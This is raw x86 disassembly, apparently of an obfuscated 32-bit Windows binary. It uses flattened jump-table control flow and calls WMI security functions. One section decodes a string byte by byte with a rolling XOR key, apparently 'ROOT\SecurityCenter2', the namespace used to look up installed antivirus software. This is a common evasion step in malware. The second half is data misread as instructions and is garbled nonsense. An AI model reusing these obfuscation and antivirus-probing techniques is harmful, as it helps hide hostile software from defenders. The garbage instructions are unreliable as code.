mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov dword [esi + 0x290], 1
mov edx, dword [esi + 0x294]
mov ecx, dword [esi + 0x290]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov dword [esi + 0x28], ebx
call fcn.00419ba0
mov dword [esi + 0x128], 1
mov eax, dword [esi + 0x12c]
mov ecx, dword [esi + 0x128]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x40]
jmp eax
mov cl, al
and ecx, 1
mov dword [esi + 0x1e8], ecx
mov eax, dword [esi + 0x1ec]
mov ecx, dword [esi + 0x1e8]
mov eax, dword [eax + ecx*4]
xor ebx, ebx
jmp eax
call fcn.00419ba0
mov dword [esi + 0x1d8], 0
mov eax, dword [esi + 0x1dc]
mov ecx, dword [esi + 0x1d8]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa
mov eax, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
call eax
xor ebx, ebx
test eax, eax
setns byte [esi + 7]
mov eax, dword [esi + 0x218]
mov ecx, dword [esi + 0x21c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov dword [esi + 0x260], 1
mov eax, dword [esi + 0x264]
mov ecx, dword [esi + 0x260]
mov eax, dword [eax + ecx*4]
jmp eax
add edx, 8
mov eax, edx
mov edi, ebx
mov ecx, 1
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov eax, ebx
add eax, 4
add edx, 4
mov ebx, edx
mov edi, eax
xor ecx, ecx
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
xor ecx, ecx
cmp ecx, 0
je 0x431d97
add ecx, 0xffffffff
mov edi, edx
add edi, 1
mov dl, byte [edx]
mov ebx, eax
add ebx, 1
mov byte [eax], dl
mov eax, ebx
mov edx, edi
jmp 0x431d7b
mov eax, dword [esi + 0x7c]
mov al, byte [eax + 1]
mov ecx, dword [esi + 0x90]
mov byte [ecx], al
mov eax, dword [esi + 0x190]
mov ecx, dword [esi + 0x194]
mov eax, dword [ecx + eax*4]
mov edx, dword [esi + 0x48]
jmp eax
ret
mov ecx, dword [esi + 0x220]
mov edx, dword [esi + 0x224]
mov ecx, dword [edx + ecx*4]
jmp ecx
xchg esp, eax
mov ebp, 0x72482e35
ror byte [edx + 0x50468807], 0x83
in al, dx
or bh, al
add al, 0x24
stosb byte es:[edi], al
inc eax
dec esi
adc eax, 0x42444c7
add eax, 0xe8000000
cdq
js 0x431e04
inc dword [ebx - 0x3f7cf73c]
push edx
xor eax, 0xaa
mov byte [ebx], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xab
mov byte [ebx + 1], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x4f
xor eax, 0xac
mov byte [ebx + 2], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xad
mov byte [ebx + 3], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x4f
xor eax, 0xae
mov byte [ebx + 4], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xaf
mov byte [ebx + 5], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x54
xor eax, 0xb0
mov byte [ebx + 6], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xb1
mov byte [ebx + 7], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x5c
xor eax, 0xb2
mov byte [ebx + 8], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xb3
mov byte [ebx + 9], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x53
xor eax, 0xb4
mov byte [ebx + 0xa], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xb5
mov byte [ebx + 0xb], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x65
xor eax, 0xb6
mov byte [ebx + 0xc], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xb7
mov byte [ebx + 0xd], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x63
xor eax, 0xb8
mov byte [ebx + 0xe], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xb9
mov byte [ebx + 0xf], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x75
xor eax, 0xba
mov byte [ebx + 0x10], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xbb
mov byte [ebx + 0x11], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x72
xor eax, 0xbc
mov byte [ebx + 0x12], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xbd
mov byte [ebx + 0x13], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x69
xor eax, 0xbe
mov byte [ebx + 0x14], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xbf
mov byte [ebx + 0x15], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x74
xor eax, 0xc0
mov byte [ebx + 0x16], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc1
mov byte [ebx + 0x17], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x79
xor eax, 0xc2
mov byte [ebx + 0x18], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc3
mov byte [ebx + 0x19], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x43
xor eax, 0xc4
mov byte [ebx + 0x1a], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc5
mov byte [ebx + 0x1b], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x65
xor eax, 0xc6
mov byte [ebx + 0x1c], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc7
mov byte [ebx + 0x1d], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x6e
xor eax, 0xc8
mov byte [ebx + 0x1e], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc9
mov byte [ebx + 0x1f], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x74
xor eax, 0xca
mov byte [ebx + 0x20], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xcb
mov byte [ebx + 0x21], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x65
xor eax, 0xcc
mov byte [ebx + 0x22], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xcd
mov byte [ebx + 0x23], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x72
xor eax, 0xce
mov byte [ebx + 0x24], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xcf
mov byte [ebx + 0x25], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x32
xor eax, 0xd0
mov byte [ebx + 0x26], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xd1
mov byte [ebx + 0x27], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xd2
mov byte [ebx + 0x28], al
sub esp, 8
mov dword [esp], 0x154e40aa
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xd3
mov byte [ebx + 0x29], al
mov eax, 0x2a
mov byte [ebx + eax], 0
add eax, 1
cmp eax, 0x2e
jne 0x4323c4
mov dword [esi + 0xc], 0
mov eax, dword [esi + 0xc]
cmp eax, 0x2e
jae 0x43240a
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0xc]
movzx ecx, byte [ebx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004329e0
add esp, 8
mov ecx, dword [esi + 0xc]
mov byte [ebx + ecx], al
mov eax, dword [esi + 0xc]
inc eax
mov dword [esi + 0xc], eax
jmp 0x4323d7
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov eax, dword [esi + 0x108]
mov ecx, dword [esi + 0x10c]
mov eax, dword [ecx + eax*4]
jmp eax
rol byte [ecx], 1
cmp dh, ah
inc ecx
add byte [eax], bh
out 0x41, al
add byte [edx - 0x30], al
inc ecx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [0x10041e9], cl
add byte [eax], al
add byte [esi - 0x30], bl
inc ecx
add byte [ecx - 0x12ffbe30], dh
call 0xd0be639f
inc ecx
add cl, dh
rol byte [ecx], 1
add cl, dl
inc ecx
add byte [0x300041d1], ah
rol dword [ecx], 1
push eax
fiadd word [ecx]
fild word es:[ecx]
adc bh, bl
fild word [ecx]
popal
loopne 4481984
fild word [ecx]
popal
loopne 4481984
add byte [eax - 0x20], dl
inc ecx
add byte [ecx - 0x2fffbe20], dl
in al, 0x41
add cl, bh
loopne 0x4463d0
add byte [0x300041e1], dl
loope 0x4463d8
add dl, bh
loope 0x4463dc
add byte [eax], ah
jecxz 0x4463e0
add al, al
loopne 0x4463e4
add byte [edi], cl
loop 0x4463e8
add byte [eax - 0x57ffbe1e], ch
loop 0x4463f0
add byte [ebx], al
inc ecx
add byte [eax + 0x120041e2], ch
jecxz 0x4463fc
inc ecx
add byte [esi], dh
jecxz 0x446400
add byte [esi - 0x5fffbe1b], bh
mov esi, 0xa00041e5
inc ecx
add byte [eax - 0x23ffbe30], ah
out 0x41, eax
rol byte [ecx], 1
fsubr st(7), st(0)
inc ecx
add byte [eax + ebp*8 + 0x41], dh
add byte [eax + ebp*8 + 0x41], dh
je 0x4463ba
inc ecx
add dl, bl
call 0xe924641b
loopne 0x4463c2
inc ecx
add ch, ch
in eax, dx
call 0xe9446423
add cl, ch
inc ecx
add byte [eax], al
jmp 0xe946642b
add cl, ch
inc ecx
add byte [edx], al
jmp 0xe944642f
add ch, cl
inc ecx
add byte [eax], al
jmp 0xec646433
and ah, ch
inc ecx
add byte [ebx], dh
in al, dx
inc ecx
add byte [ebx], dh
in al, dx
inc ecx
add byte [ebx], bl
hlt
sbb esi, esp
inc ecx
add byte [ebx], bl
hlt
sbb esi, esp
inc ecx
add byte [ebp - 0x7affbe14], al
in al, dx
inc ecx
add byte [ebx], ch
inc ecx
add byte [esp + ebp*8 - 0xdf9ffbf], cl
inc ecx
add byte [esi - 0x12], ch
inc ecx
add byte [eax + 0x1b0041ee], ah
hlt
out dx, al
inc ecx
add byte [esi], al
inc ecx
add byte [ecx - 0x5fffbe12], bl
out dx, al
inc ecx
add byte [edx], dl
int1
inc ecx
add al, ah
out dx, al
inc ecx
add dl, dl
invalid
int1
inc ecx
add al, dh
int1
inc ecx
add dh, bh
int1
inc ecx
add byte [eax], al
inc ecx
add byte [eax], al
inc ecx
add byte [esi], al
inc ecx
add byte [0x700041f2], dl
in al, dx
inc ecx
add byte [ebx], ch
inc ecx
add byte [ebp + 0x2b0041ec], al
inc ecx
add byte [ebp + 0x10041ec], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebx], ch
inc ecx
add byte [esi], al
hlt
stc
inc ecx
add dh, al
inc byte [ecx]
invalid
cli
inc ecx
add byte [esi + 0x400041fe], cl
cli
inc ecx
add byte [eax - 6], al
inc ecx
add byte [eax - 6], al
inc ecx
add byte [edx + edi*8 + 0x41], bl
add byte [esi - 0x1bffbe06], al
cli
inc ecx
add byte [edi - 0x33ffbe06], dl
inc byte [ecx]
sub ebx, edi
inc ecx
add byte [eax - 5], al
inc ecx
add al, dl
cli
inc ecx
add byte [ebx + edi*8 + 0x41], cl
add al, dl
cli
inc ecx
add byte [edi - 5], bh
inc ecx
add al, dl
cli
inc ecx
add byte [edx + 0x10041fb], dh
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx + 0x60041fb], dh
std
inc ecx
add byte [ebx], bl
std
inc ecx
add byte [eax], dh
std
inc ecx
add byte [edi], ah
std
inc ecx
add byte [eax], dh
std
inc ecx
add byte [edi], bh
std
inc ecx
add byte [ebp - 3], cl
inc ecx
add byte [esi - 3], dl
inc ecx
add ah, dl
std
inc ecx
add dh, dl
std
inc ecx
add byte [edx], ah
inc byte [ecx]
push eax
inc byte [ecx]
fdiv st(5), st(0)
inc ecx
add byte [edx], ah
inc byte [ecx]
jg 0x446b90
inc ecx
add byte [esi - 2], dh
inc ecx
add al, dl
cli
inc ecx
add byte [esi - 2], dh
inc ecx
add dh, bl
inc byte [ecx]
jbe 0x446ba5
inc dword [ecx]
invalid
inc ecx
add bh, bh
inc dword [ecx]
jbe 0x446bad
inc dword [ecx]
mov al, byte [0xab0041fa]
inc ecx
add byte [eax - 0x54ffbe06], ah
cli
inc ecx
add byte [eax + eax], bl
inc edx
add byte [eax + eax], dl
inc edx
add byte [edx], ch
add byte [edx], al
adc al, 0
inc edx
add byte [0x8c004204], al
add byte [edx], al
cmpsb byte [esi], byte es:[edi]
add dword [edx], eax
rol byte [ebx], cl
inc edx
add al, dl
add al, byte [edx]
xlatb
add dword [edx], eax
rol byte [edx], 1
inc edx
add byte [ebp - 0x54ffbdfe], bl
add al, byte [edx]
rol byte [edx], 1
inc edx
add al, al
add al, byte [edx]
mov cl, 2
inc edx
add al, al
add al, byte [edx]
rol byte [edx], 1
inc edx
add byte [ecx + 3], dh
add eax, dword [edx]
rol byte [ebx], 0x42
add byte [esi - 1845476861], cl
add eax, dword [edx]
rol byte [ebx], 1
inc edx
add al, dl
add eax, dword [edx]
rol byte [ebx], cl
inc edx
add al, dl
add eax, dword [edx]
loopne 0x446c25
inc edx
add al, ah
invalid
add eax, dword [edx]
rol byte [ebx], 0x42
add byte [esi - 1845476861], cl
add eax, dword [edx]
rol byte [ebx], 1
inc edx
add al, dl
add eax, dword [edx]
rol byte [ebx], cl
inc edx
add al, dl
add eax, dword [edx]
loopne 0x446c25
inc edx
add al, ah
add eax, dword [edx]
loopne 0x446c2d
inc edx
add al, ah
add eax, dword [edx]
loop 0x446c31
inc edx
add dl, ah
add eax, dword [edx]
int1
inc edx
add cl, dh
add eax, dword [edx]
jo 0x446c36
inc edx
add byte [0x85004204], al
add byte [edx], al
add eax, 0x85004204
add byte [edx], al
pop ss
add al, 66
add byte [0xa0004204], ch
push ss
inc edx
add byte [esi], ah
add al, 0x42
add byte [ebx + 0x15], ah
inc edx
add byte [eax + 0x69004216], ah
adc eax, 0xf680042
inc edx
add byte [eax + edx + 0x42], cl
add byte [ebx + 0x6f00420f], dl
adc byte [edx], al
nop
adc byte [edx], al
mov ecx, 0x47004210
adc dword [edx], eax
mov bh, 0x12
inc edx
add byte [esi - 0x70ffbdef], al
adc al, byte [edx]
out 0x11, al
inc edx
add byte [edi + 0x10004212], cl
adc eax, dword [edx]
and byte [ebx], dl
inc edx
add byte [eax], ah
adc eax, dword [edx]
and byte [ebx], dl
inc edx
add byte [edx], ah
adc eax, dword [edx]
invalid
or eax, dword [edx]
movsb byte es:[edi], byte [esi]
or eax, dword [edx]
mov ebp, 0xd600420d
or eax, dword [edx]
ret
or eax, 0xf440042
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi + 0x1004217], bh
add byte [eax], al
add byte [edx + 0x4600420d], dl
add al, 0x42
add byte [esi + 4], al
inc edx
add byte [esi + 4], al
inc edx
add byte [esi + 4], al
inc edx
add byte [esi + 4], dl
inc edx
add byte [ebp + 4], dh
inc edx
add byte [eax - 0x22ffbdfc], cl
add al, 0x42
add byte [edi + 5], al
inc edx
add byte [edx + 5], bh
inc edx
add byte [eax + 0x26004205], dl
push es
inc edx
add cl, dl
add eax, 0x6000042
inc edx
add byte [eax], dl
push es
inc edx
add byte [eax], dl
push es
inc edx
add byte [eax], dl
push es
inc edx
add byte [eax], dl
push es
inc edx
add byte [edx], dl
push es
inc edx
add byte [eax], al
push es
inc edx
add byte [eax], al
push es
inc edx
add byte [eax], al
push es
inc edx
add byte [edx], al
push es
inc edx
add byte [esi], ah
push es
inc edx
add al, al
add eax, 0x63b0042
inc edx
add byte [ebx + 6], dl
inc edx
add cl, bl
push es
inc edx
add dh, ah
push es
inc edx
add byte [eax + 0x75004207], bh
add al, 0x42
add byte [edi - 0x3cffbdf3], ah
or eax, 0x10042
add byte [eax], al
add dword [eax], eax
add byte [eax], al
ret
sub dword [edx], eax
mov al, byte [0x6000422a]
sub dword [edx], eax
pushal
sub dword [edx], eax
pushal
sub dword [edx], eax
sub word [edx], ax
jbe 4484867
inc edx
add byte [eax + 0x100422a], ah
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi + 0x29], dh
inc edx
add byte [ecx], al
add byte [eax], al
add byte [esi - 0x5fffbdd7], al
sub al, byte [edx]
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
xchg byte [ecx], ch
inc edx
add byte [esi - 0x5fffbdd7], dl
sub al, byte [edx]
cmpsb byte [esi], byte es:[edi]
add byte [esi - 0x69ffbdd7], al
sub dword [edx], eax
mov al, byte [0xa600422a]
sub dword [edx], eax
mov al, byte [0xa000422a]
sub al, byte [edx]
mov al, byte [0xc000422a]
inc edx
add byte [eax - 0x3fffbdd6], ah
sub dword [edx], eax
shr byte [ecx], 0x42
add dl, al
sub dword [edx], eax
shr byte [ecx], 0x42
add byte [ecx + 46], ch
inc edx
add byte [edx - 0x65ffbdd6], bl
inc edx
add byte [edi - 0x78ffbdd2], al
inc edx
add dl, al
sub al, byte [edx]
or al, 0x2d
inc edx
add al, ah
sub al, byte [edx]
hlt